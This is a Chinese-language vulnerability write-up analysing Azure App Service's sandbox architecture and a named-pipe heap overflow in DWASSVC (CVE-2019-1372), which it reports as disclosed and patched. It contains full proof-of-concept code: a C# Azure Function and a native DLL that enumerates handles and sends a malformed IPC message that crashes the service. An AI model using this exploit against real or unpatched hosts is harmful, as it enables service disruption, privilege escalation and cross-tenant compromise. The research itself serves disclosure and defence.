远程云端执行(RCE):Azure云架构中的漏洞分析(Part 2)

 

0x00 前言

在前一篇文章中,我们讨论了Azure Stack体系架构,该架构可使用核心功能之外的功能进行扩展。由于我们可以离线研究云组件,因此可以借此机会研究Azure App Service。在本文中,我们将深入分析Azure App Service内部原理,检查其体系结构、攻击点,介绍我们在某个组件中找到的一个严重漏洞,该漏洞可以影响Azure云。

 

0x01 Azure App Service

根据微软描述,Azure App Service可以帮助用户使用自己选择的编程语言来构建并托管web应用、移动后端以及RESTful API,无需管理基础架构。Azure App Service提供了自动扩展及高可用特定,同时支持Windows及Linux,可以通过GitHub、Azure DevOps或者其他Git仓库进行自动部署。、

 

0x02 Azure App Service架构

备注:以下部分信息摘抄自https://channel9.msdn.com/Events/Ignite/2016/BRK3206。

Azure App Service架构可以分为如下6类角色:

1、Controller(控制器)

管理App Service:Controller管理并监控App Service,在其他角色中执行WinRM函数,以便部署软件并确保一切如期运转。

2、文件服务器

应用内容:存储tenant(租户)的应用及数据。

3、Management(管理)

API、UI扩展及数据服务:管理角色可以用来托管API、UI扩展、tenant门户以及管理员门户。

4、Front End(前端)

App Service路由:前端承担负载均衡器功能,位置在Azure/Azure Stack中所有软件负载均衡器之后,是App Service的负载均衡器,动态决定要将请求具体发送至哪个Web Worker。

5、Publisher(发布者)

FTP、Web Deploy:Publisher在Web Deploy端点中提供了一个FTP口,以便将所有tenant应用文件内容部署到文件服务器上。

6、Web Worker(Web工作者)

应用主机:托管应用的服务器,数量越多越好。这是我们主要感兴趣的部分,所有研究点都集中在这一部分。

现在我们已经知道App Service具有哪些角色,可以研究下这些角色之间如何相互交互(在默认的App Service配置下):

 

0x03 Web Worker

前面提到过,tenant应用运行在Web Worker主机中,这意味着应用可以使用支持的语言来运行任意代码。如果tenant决定运行恶意代码,破坏Web Worker主机或者其他正在运行的应用时,会出现什么情况?这是非常有趣的一个问题,但我们先要分析一些内部原理。

 

0x04 Microsoft Web Hosting Framework

代号为“Antares”,该框架提供了运行tenant应用的一个平台,包含如下几个组件:

DWASSVC

该服务负责管理并运行tenant应用。通常情况下,每个tenant应用会分配2个或更多个IIS工作进程(w3wp.exe)。第一个进程运行Kudu,以便tenant以简单且可访问的方式来管理自己的应用。第二个进程实际运行tenant应用。这些进程属于“完整版应用”,运行在权限相对较低的同一个用户上下文中。

这个服务还有很多可研究点,回头我们再来讨论。

内核模式沙箱

其中最有趣的一个组件为RsFilter.sys,这是一个过滤器驱动,是不包含公开符号的另一个Azure专有组件。关于这个组件,我们完全可以基于逆向分析单独开辟一篇文章。然而,这里我们仅简要介绍一下其主要功能:

1、进程创建/删除跟踪

该驱动会使用PsSetCreateProcessNotifyRoutine回调来跟踪每个进程创建或删除操作。

内核中为“沙箱化进程”创建了2个主要结构。第一个结构我们称为ProcessInfo,其中包含进程相关信息,包括句柄、进程ID、映像文件名等。在IDA Pro中查看该结构,如下所示:

创建(或收集)的第二个结构为ProcessInfo结构中的一个属性,我们称之为SandboxSettings。该结构非常庞大,包含关于进程沙箱环境的相关信息,比如进程/线程数限制、网络端口限制、环境路径等。部分片段摘抄如下:

ProcessInfo结构创建完毕后,会被插入一张全局表中,以便内核驱动跟踪。这里需要注意的一个有趣点是,同一个沙箱中的其他进程也能共享这个SandboxSettings。比如,tenant应用、其子进程以及Kudu虽然有不同的ProcessInfo结构,但都具有相同的SandboxSettings

IOCTL及FltPort通信

IOCTL及FltPort是用户空间到驱动程序的主要通信接口。某些IOCTL可以被任意用户调用,某些需要特定权限。连接到过滤端口(FLT)需要较高权限,修改沙箱设置可以通过该端口进行操作。

文件系统过滤器

RsFilter注册了大量文件系统相关回调,以便正常处理相关事务。

如果大家之前使用过Azure App Service,可能会知道应用可以访问D:\home,获取主目录。但大家是否想过其中的工作原理?比如每个tenant应用如何通过访问该路径来获取其对应的主目录?答案在PreFilterOnCreateCallback函数中。前面我们提到过SandboxSettings结构,其中有个sandboxRemotePath属性,该属性包含指向应用存储位置的一个UNC文件共享路径。DWASSVC会使用公开的过滤器端口(FltPort)与驱动通信,在IIS工作进程启动时设置该路径。因此,当应用尝试访问D:\home或者其他特定路径时,过滤器驱动会实时匹配并替换将路径替换为正确的路径值。

其他回调实现了文件系统限制功能,比如磁盘配额、目录/文件数量等。

网络过滤器

网络过滤器实现了一些安全机制,避免出现数据泄漏,降低被攻击风险。网络过滤器包含端口白名单机制以及本地端口过滤机制。比如,用户的应用无法连接到未监听的本地端口。此外,这里还有最大连接数限制、网络IP地址范围白名单、禁用原始套接字等。

比如如下SMB 445及139端口黑名单机制(大家还记得WannaCry攻击事件吗?),有人能找到其中可能存在的bug吗?

用户模式沙箱

每个IIS工作进程都会加载名为RsHelper.dll的一个DLL,该DLL使用微软的Detours库进行编译,hook了来自kernel32.dlladvapi32.dllws2_32.dllhttpapi.dll以及ntdll.dll等DLL中的大量函数。这里有趣的地方在于,该DLL还会hook CreateProcessA/CreateProcessW函数。当这些函数被调用时,该DLL会使用大家熟知的DLL注入技术(CreateRemoteThread),将自身注入到创建的进程中。观察被hook的函数,我们可以看到微软在实现上考虑得较为全面,以阻止tenant应用在Web Worker主机内部获取本不需要了解的相关信息。

如果大家想了解关于App Service沙箱的更多信息,可以参考这篇文章,其中详细介绍了其功能特性。我们可以确定的是,微软已经实现了大部分功能。然而我们并没有看到某些功能,比如对Win32k.sys(User32/GDI32)的限制。即便如此,该安全机制可能已经在公有云上实现。

理解App Service的工作原理后,现在我们可以开始在本地攻击场景中寻找漏洞。

 

0x05 漏洞细节

在本节中,我们将与大家分享我们在DWASSVC中找到的一个漏洞。利用该漏洞,我们可以以NT AUTHORITY\SYSTEM权限执行代码。

在研究过程中,我们使用了Process Explorer(来自SysInternals Suite的一款工具)来检查正在运行的进程,查看进程的执行方式、使用的命令行、模块等。我们在命令行中找到了一些有趣的参数:

这里我们能看到-a参数以及一个命名管道路径。这里我们自然有些问题:通过该管道发送的是什么数据?我们是否可以影响这些数据?为了回答这些问题,我们首先需要理解谁创建了该管道,答案是DWASSVC启动了工作进程。DWASSVC采用C#编写,我们使用反编译器查看内部代码。在新的工作进程创建前,服务首先会创建命名管道,以便与之通信。我们可以查看经过反编译的Microsoft.Web.Hosting.ProcessModel.dll源码,在WorkerProcess.cs:Start中找到相应逻辑:

CreateIpmPipe为原生函数,具体实现位于DWASInterop.dll中:

为了能“深入”分析DWASInterop.dll,我们需要完全逆向分析其源码。由于没有公共符号,并且该DLL采用C++编写,因此我们花了一些时间才完成该任务。然而,这里有许多调试字符串,其中公开了一些函数名称,并且我们还注意到该DLL会与IIS的iisutil.dll共享代码(后者具有公共符号)。对两者进行比较后,我们可以加快逆向分析过程。

来看一下CreateIpmPipe的内部实现:

可以看到其中调用了CreateIpmMessagePipe内部函数:

CreateIpmMessagePipe会调用CreateNamedPipeW来创建命名管道。如果观察函数参数,可以看到该函数使用了PIPE_ACCESS_DUPLEX,这意味着该管道为双向管道,服务端(DWASSVC)及客户端(w3wp.exe)可以读取并写入该管道。随后工作流执行完毕,结果返回C#程序。当代码返回时,DWASSVC会启动工作进程,将管道名以参数形式(-a标志)传入。工作进程启动后,会连接至管道,然后开始通信。

现在我们知道管道的创建方式,但该管道有什么作用呢?答案是进程间通信。比如,如果不想粗暴地杀掉工作进程,DWASSVC可以向其发送关闭请求,也就是“Worker Shutdown Request”消息。当然这里还有其他一些消息格式,但我们对协议本身的实现比较感兴趣,想看一下能否找到其中存在的漏洞。

工作进程可以发送给DWASSVC服务的消息结构如下所示,我们将该结构命名为WorkerItem

字段 描述
DWORD opcode(4字节) The operation code
DWORD dataLength(4字节) The length of the data
data The actual data

当DWASSVC收到消息后(DWASInterop.dll),会调用IPM_MESSAGE_PIPE::MessagePipeCompletion回调来处理。传递给该回调的第一个(也是唯一一个参数)为一个IPM_MESSAGE_IMP实例。

IPM_MESSAGE_IMP是比较特殊的一个类,DWASInterop使用该类来描述具体消息。该类并没有太多字段,我们逆向出的部分字段如下所示:

该结构中包含指向workerItem的一个指针,也包含名为workerItemSize的一个属性,该属性值为workerItem的大小。workerItemSize中保存workerItem的完整大小(及opcode + length + data),而workerItem.dataLength只保存了data字段的大小。

IPM_MESSAGE_PIPE::MessagePipeCompletion收到消息时,会存在一个有趣的边缘情况:

当读取数据时,会调用ReallocateWorkerItem函数。

代码会为newWorkerItem简单分配空间,然后将之前的数据拷贝到新结构中。

当调用该函数时,会传入workerItem->dataLength,然后使用传入的大小分配空间。然而,memcpy操作会根据workerItemSize执行。如果通过DWASInterop.dlliisutil.dll公开的API(WriteMessage API函数)来发送消息,那么这两个大小值会被自动计算。然而,如果攻击者可以将消息直接发送至命名管道,那么就可以发送如下类似的消息:

字段 取值
DWORD opcode(4字节) 0x16(此时具体值无关紧要)
DWORD dataLength(4字节) 0
data A * 100(比较长的一个字符串)

此时workerItemSize会被计算为108,而workerItem->dataLength的值为0。在这种情况下,大小为0的分配操作会执行成功,而memcpy会使用大小为108这个值在分配的空间上执行操作,导致出现堆溢出现象,并且攻击者可以控制其内容及大小。

那么攻击者如何向DWASSVC(DWASInterop.dll)发送消息呢?根据微软的设计,在运行C# Azure函数时,函数会运行在工作进程(w3wp.exe)的上下文中。这样攻击者就有可能枚举当前已打开的句柄,通过这种方式,找到已打开的命名管道句柄,发送精心构造的消息。我们触发漏洞的方式如下所示:

using System.Net;
using System.Runtime.InteropServices;
[DllImport("YOUR_DLL_NAME")]
public static extern void load();
public static async Task<HttpResponseMessage> Run(HttpRequestMessage req, TraceWriter log)
{
    load();
    log.Info("C# HTTP trigger function processed a request.");
    return req.CreateResponse(HttpStatusCode.OK, "Malicious Function");
}

我们创建了一个C# Azure函数,用来加载原生DLL,调用load函数。

#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>

#pragma warning(disable: 4996)
#define MAX_PATH_LEN 2048
#define MAX_BUFF_LEN 2048
#define IPM_BUFFER_LEN(0x800)

typedef struct _pipedata {
  unsigned int opcode;
  unsigned int length;
  char data[IPM_BUFFER_LEN];
}
PIPE_DATA;

extern "C"
__declspec(dllexport) int load(void) {
  FILE * fh = NULL;

  char path[256];
  sprintf(path, "D:\\home\\output_%d_.txt", GetCurrentProcessId());
  fh = fopen(path, "wb");

  if (NULL != fh) {
    int i = 0;
    for (i = 1; i < 10000; i++) {
      DWORD type = GetFileType((HANDLE) i);

      if (FILE_TYPE_PIPE == type) {
        PFILE_NAME_INFO fi;
        DWORD structSize = (MAX_PATH_LEN * sizeof(wchar_t)) + sizeof(FILE_NAME_INFO);
        fi = (PFILE_NAME_INFO) malloc(structSize);

        if (fi == NULL)
          continue;

        memset(fi, 0, structSize);

        if (NULL != fi) {
          if (GetFileInformationByHandleEx((HANDLE) i, FileNameInfo, fi, structSize)) {
            if (wcsstr(fi - > FileName, L "iisipm")) {
              fprintf(fh, "Pipe: %x - %S\n", i, fi - > FileName);
              fflush(fh);

              DWORD writtenBytes = 0;
              OVERLAPPED overlapped;
              memset( & overlapped, 0, sizeof(OVERLAPPED));

              PIPE_DATA pipedata;
              memset( & pipedata, 'a', sizeof(PIPE_DATA));

              pipedata.opcode = 0x0A;
              pipedata.length = 0;
              if (WriteFile((HANDLE) i, & pipedata, sizeof(PIPE_DATA), & writtenBytes, & overlapped)) {
                fprintf(fh, "Successfully writen: %d bytes into %d\n", writtenBytes, i);
                fflush(fh);
              } else {
                fprintf(fh, "Failed to write into %d\n", i);
                fflush(fh);
              }
            }
          } else {
            fprintf(fh, "Error: %x, %d\n", i, GetLastError());
            fflush(fh);
          }

          free(fi);
        }
      }
    }
    fclose(fh);
  }

  return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
  DWORD ul_reason_for_call,
  LPVOID lpReserved
) {
  switch (ul_reason_for_call) {
  case DLL_PROCESS_ATTACH:
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
    break;
  }
  return TRUE;
}

load函数会暴力枚举句柄,直到找到名称以iisipm开头的已打开句柄,然后构造恶意消息,立即发送该消息。执行代码后,DWASSVC会如期崩溃。

虽然我们只演示了崩溃场景,该漏洞还是可以用来实现权限提升。

 

0x06 漏洞影响

微软提供了各种App Service计划:

1、共享计算:Free及Shared,这两个基础层与其他App Service应用(包括其他客户的应用)在同一个Azure VM上运行app。这些层将为运行在共享资源上的每个app分配CPU限额,相关资源无法扩展。

2、专用计算:Basic、Standard、Premium及PremiumV2层在专用Azure VM上运行app。只有相同App Service计划中的应用能分享相同的计算资源。层级越高,我们能使用更多的VM实例来扩展。

3、隔离:这一层在Azure虚拟网络上运行专用Azure VM,以计算隔离为基础,为app提供网络隔离机制,也提供最大尺度的扩展功能。

如果大家想了解更多细节,可参考官方文档

如果在这些计算中利用该漏洞,我们就可以破坏微软的App Service基础设施。然而,如果在Free/Shared计划上利用该漏洞,我们还能攻击其他tenant的应用、数据甚至账户。这样一来,攻击者就能成功打破App Service的安全模型。

 

0x07 总结

云并不是一个神奇的地方,尽管大家认为云端比较安全,但云端归根结底也是一种基础设施,可能包含存在漏洞的代码,本文就是非常典型的一个案例。

微软已经公开并修复)了该漏洞,漏洞编号为CVE-2019-1372,官方确认该漏洞会影响Azure Cloud以及Azure Stack。

(完)